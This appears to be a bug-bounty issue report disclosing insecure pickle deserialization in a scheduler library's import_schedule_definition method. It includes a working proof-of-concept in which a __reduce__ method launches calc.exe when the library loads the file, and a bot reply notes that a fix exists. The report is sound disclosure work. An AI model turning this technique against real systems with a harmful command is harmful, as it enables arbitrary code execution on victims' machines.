import_schedule_definition is vulnerable

[Joel-MalwareBenchmark]

 from scheduler import io
 import os
 from pathlib import Path
 import pickle
 class joel_test(object):
     def __reduce__(self):
         import subprocess
         return (subprocess.Popen, ('calc.exe',))
 test = joel_test()
 f=open('solution\\scheduler.pickle','wb')
 pickle.dump(test,f)
 f.close()
 io.import_schedule_definition(Path(Path.cwd(), 'solution'))

Hi, there is a vulnerability in import_schedule_definition method in io.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

[huntr-helper]

‎‍🛠️ A fix has been provided for this issue. Please reference: 418sec#1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.